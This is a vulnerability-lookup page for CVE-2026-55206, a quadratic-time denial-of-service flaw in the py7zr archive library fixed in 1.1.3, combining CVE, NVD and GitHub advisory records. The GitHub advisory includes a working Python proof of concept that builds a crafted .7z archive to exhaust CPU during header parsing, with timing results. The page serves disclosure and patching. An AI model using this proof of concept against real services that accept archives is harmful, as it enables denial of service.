Vulnerability-Lookup

CVE-2026-55206 (GCVE-0-2026-55206)

Vulnerability from cvelistv5 – Published: 2026-07-08 20:32 – Updated: 2026-07-08 20:32

Title

py7zr: O(n^2) algorithmic complexity DoS in PackInfo._read()

Summary

py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, PackInfo._read() in archiveinfo.py used an O(n^2) cumulative sum pattern for attacker-controlled numstreams values parsed from archive headers, allowing a crafted .7z archive to cause excessive CPU consumption during SevenZipFile.init() before extraction. This issue is fixed in version 1.1.3.

Severity

8.7 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

CWE

CWE-407 - Inefficient Algorithmic Complexity

Assigner

GitHub_M

References

3 references

URL	Tags
https://github.com/miurahr/py7zr/security/advisor…	x_refsource_CONFIRM
https://github.com/miurahr/py7zr/commit/d7aa3a197…	x_refsource_MISC
https://github.com/miurahr/py7zr/releases/tag/v1.1.3	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
miurahr	py7zr	Affected: < 1.1.3

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "py7zr",
          "vendor": "miurahr",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.1.3"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, PackInfo._read() in archiveinfo.py used an O(n^2) cumulative sum pattern for attacker-controlled numstreams values parsed from archive headers, allowing a crafted .7z archive to cause excessive CPU consumption during SevenZipFile.init() before extraction. This issue is fixed in version 1.1.3."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 8.7,
            "baseSeverity": "HIGH",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "HIGH",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "NONE"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-407",
              "description": "CWE-407: Inefficient Algorithmic Complexity",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-08T20:32:09.905Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/miurahr/py7zr/security/advisories/GHSA-h4gh-22qq-72r7",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/miurahr/py7zr/security/advisories/GHSA-h4gh-22qq-72r7"
        },
        {
          "name": "https://github.com/miurahr/py7zr/commit/d7aa3a197d15c75a65b24f796d3a69f83806d3f8",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/miurahr/py7zr/commit/d7aa3a197d15c75a65b24f796d3a69f83806d3f8"
        },
        {
          "name": "https://github.com/miurahr/py7zr/releases/tag/v1.1.3",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/miurahr/py7zr/releases/tag/v1.1.3"
        }
      ],
      "source": {
        "advisory": "GHSA-h4gh-22qq-72r7",
        "discovery": "UNKNOWN"
      },
      "title": "py7zr: O(n^2) algorithmic complexity DoS in PackInfo._read()"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-55206",
    "datePublished": "2026-07-08T20:32:09.905Z",
    "dateReserved": "2026-06-16T16:16:32.627Z",
    "dateUpdated": "2026-07-08T20:32:09.905Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-55206\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-07-08T21:16:49.987\",\"lastModified\":\"2026-07-08T21:16:49.987\",\"vulnStatus\":\"Received\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, PackInfo._read() in archiveinfo.py used an O(n^2) cumulative sum pattern for attacker-controlled numstreams values parsed from archive headers, allowing a crafted .7z archive to cause excessive CPU consumption during SevenZipFile.init() before extraction. This issue is fixed in version 1.1.3.\"}],\"affected\":[{\"source\":\"security-advisories@github.com\",\"affectedData\":[{\"vendor\":\"miurahr\",\"product\":\"py7zr\",\"versions\":[{\"version\":\"\u003c 1.1.3\",\"status\":\"affected\"}]}]}],\"metrics\":{\"cvssMetricV40\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"4.0\",\"vectorString\":\"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X\",\"baseScore\":8.7,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"attackRequirements\":\"NONE\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"vulnConfidentialityImpact\":\"NONE\",\"vulnIntegrityImpact\":\"NONE\",\"vulnAvailabilityImpact\":\"HIGH\",\"subConfidentialityImpact\":\"NONE\",\"subIntegrityImpact\":\"NONE\",\"subAvailabilityImpact\":\"NONE\",\"exploitMaturity\":\"NOT_DEFINED\",\"confidentialityRequirement\":\"NOT_DEFINED\",\"integrityRequirement\":\"NOT_DEFINED\",\"availabilityRequirement\":\"NOT_DEFINED\",\"modifiedAttackVector\":\"NOT_DEFINED\",\"modifiedAttackComplexity\":\"NOT_DEFINED\",\"modifiedAttackRequirements\":\"NOT_DEFINED\",\"modifiedPrivilegesRequired\":\"NOT_DEFINED\",\"modifiedUserInteraction\":\"NOT_DEFINED\",\"modifiedVulnConfidentialityImpact\":\"NOT_DEFINED\",\"modifiedVulnIntegrityImpact\":\"NOT_DEFINED\",\"modifiedVulnAvailabilityImpact\":\"NOT_DEFINED\",\"modifiedSubConfidentialityImpact\":\"NOT_DEFINED\",\"modifiedSubIntegrityImpact\":\"NOT_DEFINED\",\"modifiedSubAvailabilityImpact\":\"NOT_DEFINED\",\"Safety\":\"NOT_DEFINED\",\"Automatable\":\"NOT_DEFINED\",\"Recovery\":\"NOT_DEFINED\",\"valueDensity\":\"NOT_DEFINED\",\"vulnerabilityResponseEffort\":\"NOT_DEFINED\",\"providerUrgency\":\"NOT_DEFINED\"}}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Primary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-407\"}]}],\"references\":[{\"url\":\"https://github.com/miurahr/py7zr/commit/d7aa3a197d15c75a65b24f796d3a69f83806d3f8\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/miurahr/py7zr/releases/tag/v1.1.3\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/miurahr/py7zr/security/advisories/GHSA-h4gh-22qq-72r7\",\"source\":\"security-advisories@github.com\"}]}}"
  }
}

FKIE_CVE-2026-55206

Vulnerability from fkie_nvd - Published: 2026-07-08 21:16 - Updated: 2026-07-08 21:16

Severity

8.7 (High) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/miurahr/py7zr/commit/d7aa3a197d15c75a65b24f796d3a69f83806d3f8
	security-advisories@github.com	https://github.com/miurahr/py7zr/releases/tag/v1.1.3
	security-advisories@github.com	https://github.com/miurahr/py7zr/security/advisories/GHSA-h4gh-22qq-72r7

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "py7zr",
          "vendor": "miurahr",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.1.3"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, PackInfo._read() in archiveinfo.py used an O(n^2) cumulative sum pattern for attacker-controlled numstreams values parsed from archive headers, allowing a crafted .7z archive to cause excessive CPU consumption during SevenZipFile.init() before extraction. This issue is fixed in version 1.1.3."
    }
  ],
  "id": "CVE-2026-55206",
  "lastModified": "2026-07-08T21:16:49.987",
  "metrics": {
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 8.7,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "HIGH",
          "vulnConfidentialityImpact": "NONE",
          "vulnIntegrityImpact": "NONE",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-07-08T21:16:49.987",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/miurahr/py7zr/commit/d7aa3a197d15c75a65b24f796d3a69f83806d3f8"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/miurahr/py7zr/releases/tag/v1.1.3"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/miurahr/py7zr/security/advisories/GHSA-h4gh-22qq-72r7"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-407"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

GHSA-H4GH-22QQ-72R7

Vulnerability from github – Published: 2026-06-19 21:16 – Updated: 2026-06-19 21:16

Summary

py7zr: O(n^2) algorithmic complexity DoS in PackInfo._read()

Details

Summary

PackInfo._read() uses an O(n^2) cumulative sum pattern where numstreams is read directly from the archive header. A crafted .7z archive with a large numstreams value causes excessive CPU consumption during SevenZipFile.init() — no extraction is needed. A 50 KB archive takes ~7 seconds of CPU time.

Details

The vulnerable code is in PackInfo._read() (archiveinfo.py):

self.packpositions = [sum(self.packsizes[:i]) for i in range(self.numstreams + 1)]

numstreams is parsed from the archive header via read_uint64() and is attacker-controlled. Each sum(self.packsizes[:i]) re-sums from the beginning, producing O(n^2) total work. This runs during header parsing in SevenZipFile.init(), before any extraction.

Suggested fix — replace with O(n) cumulative sum:

from itertools import accumulate self.packpositions = [0] + list(accumulate(self.packsizes))

PoC

``` import struct, io, binascii, time import py7zr from py7zr.archiveinfo import write_uint64, PROPERTY

MAGIC = b'\x37\x7a\xbc\xaf\x27\x1c'

def encode_uint64(v): buf = io.BytesIO() write_uint64(buf, v) return buf.getvalue()

def build_7z_with_streams(numstreams): header = io.BytesIO() header.write(PROPERTY.HEADER) header.write(PROPERTY.MAIN_STREAMS_INFO) header.write(PROPERTY.PACK_INFO) header.write(encode_uint64(0)) header.write(encode_uint64(numstreams)) header.write(PROPERTY.SIZE) for _ in range(numstreams): header.write(encode_uint64(1)) header.write(PROPERTY.END) header.write(PROPERTY.END) header.write(PROPERTY.END) header_data = header.getvalue()

  out = io.BytesIO()
  out.write(MAGIC)
  out.write(b'\x00\x04')
  next_crc = binascii.crc32(header_data) & 0xFFFFFFFF
  start_header = (struct.pack('<Q', 0)
                  + struct.pack('<Q', len(header_data))
                  + struct.pack('<I', next_crc))
  out.write(struct.pack('<I', binascii.crc32(start_header) &

0xFFFFFFFF)) out.write(start_header) out.write(header_data) return out.getvalue()

for n in [1000, 5000, 10000, 30000, 50000]: archive = build_7z_with_streams(n) start = time.time() try: with py7zr.SevenZipFile(io.BytesIO(archive), 'r') as z: pass except Exception: # The crafted archive may later raise due to being malformed, # but the quadratic work has already been performed during # header parsing in SevenZipFile.init(). pass elapsed = time.time() - start print(f"n={n:6d} size={len(archive):8d} bytes time={elapsed:.3f}s") ``` Tested on py7zr 1.1.0, Python 3.12.3, Linux x86_64.

Results:

n= 1000 size= 1042 bytes time=0.004s n= 5000 size= 5042 bytes time=0.071s n= 10000 size= 10042 bytes time=0.291s n= 30000 size= 30043 bytes time=2.609s n= 50000 size= 50043 bytes time=7.097s

Impact

Denial of Service. Any application that opens .7z archives from untrusted sources using py7zr.SevenZipFile() can be caused to consume excessive CPU time with a small crafted archive. The quadratic cost occurs during header parsing, before any content extraction.

Severity

6.9 (Medium)


                  
                    CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.1.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "py7zr"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55206"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T21:16:33Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nPackInfo._read() uses an O(n^2) cumulative sum pattern where\n  numstreams is read directly from the archive header. A crafted .7z\n  archive with a large numstreams value causes excessive CPU consumption\n   during SevenZipFile.__init__() \u2014 no extraction is needed. A 50 KB\n  archive takes ~7 seconds of CPU time.\n\n### Details\n\n  The vulnerable code is in PackInfo._read() (archiveinfo.py):\n\n  self.packpositions = [sum(self.packsizes[:i]) for i in\n  range(self.numstreams + 1)]\n\n  numstreams is parsed from the archive header via read_uint64() and is\n  attacker-controlled. Each sum(self.packsizes[:i]) re-sums from the\n  beginning, producing O(n^2) total work. This runs during header\n  parsing in SevenZipFile.__init__(), before any extraction.\n\n  Suggested fix \u2014 replace with O(n) cumulative sum:\n\n  from itertools import accumulate\n  self.packpositions = [0] + list(accumulate(self.packsizes))\n### PoC\n``` import struct, io, binascii, time\n  import py7zr\n  from py7zr.archiveinfo import write_uint64, PROPERTY\n\n  MAGIC = b\u0027\\x37\\x7a\\xbc\\xaf\\x27\\x1c\u0027\n\n  def encode_uint64(v):\n      buf = io.BytesIO()\n      write_uint64(buf, v)\n      return buf.getvalue()\n\n  def build_7z_with_streams(numstreams):\n      header = io.BytesIO()\n      header.write(PROPERTY.HEADER)\n      header.write(PROPERTY.MAIN_STREAMS_INFO)\n      header.write(PROPERTY.PACK_INFO)\n      header.write(encode_uint64(0))\n      header.write(encode_uint64(numstreams))\n      header.write(PROPERTY.SIZE)\n      for _ in range(numstreams):\n          header.write(encode_uint64(1))\n      header.write(PROPERTY.END)\n      header.write(PROPERTY.END)\n      header.write(PROPERTY.END)\n      header_data = header.getvalue()\n\n      out = io.BytesIO()\n      out.write(MAGIC)\n      out.write(b\u0027\\x00\\x04\u0027)\n      next_crc = binascii.crc32(header_data) \u0026 0xFFFFFFFF\n      start_header = (struct.pack(\u0027\u003cQ\u0027, 0)\n                      + struct.pack(\u0027\u003cQ\u0027, len(header_data))\n                      + struct.pack(\u0027\u003cI\u0027, next_crc))\n      out.write(struct.pack(\u0027\u003cI\u0027, binascii.crc32(start_header) \u0026\n  0xFFFFFFFF))\n      out.write(start_header)\n      out.write(header_data)\n      return out.getvalue()\n\n  for n in [1000, 5000, 10000, 30000, 50000]:\n      archive = build_7z_with_streams(n)\n      start = time.time()\n      try:\n          with py7zr.SevenZipFile(io.BytesIO(archive), \u0027r\u0027) as z:\n              pass\n      except Exception:\n          # The crafted archive may later raise due to being malformed,\n          # but the quadratic work has already been performed during\n          # header parsing in SevenZipFile.__init__().\n          pass\n      elapsed = time.time() - start\n      print(f\"n={n:6d}  size={len(archive):8d} bytes\n  time={elapsed:.3f}s\")\n```\n  Tested on py7zr 1.1.0, Python 3.12.3, Linux x86_64.\n\n  Results:\n\n  n=  1000  size=    1042 bytes  time=0.004s\n  n=  5000  size=    5042 bytes  time=0.071s\n  n= 10000  size=   10042 bytes  time=0.291s\n  n= 30000  size=   30043 bytes  time=2.609s\n  n= 50000  size=   50043 bytes  time=7.097s\n### Impact\n\nDenial of Service. Any application that opens .7z archives from\n  untrusted sources using py7zr.SevenZipFile() can be caused to consume\n  excessive CPU time with a small crafted archive. The quadratic cost\n  occurs during header parsing, before any content extraction.",
  "id": "GHSA-h4gh-22qq-72r7",
  "modified": "2026-06-19T21:16:33Z",
  "published": "2026-06-19T21:16:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/miurahr/py7zr/security/advisories/GHSA-h4gh-22qq-72r7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/miurahr/py7zr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/miurahr/py7zr/releases/tag/v1.1.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "py7zr: O(n^2) algorithmic complexity DoS in PackInfo._read()"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-55206 (GCVE-0-2026-55206)

FKIE_CVE-2026-55206

GHSA-H4GH-22QQ-72R7

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature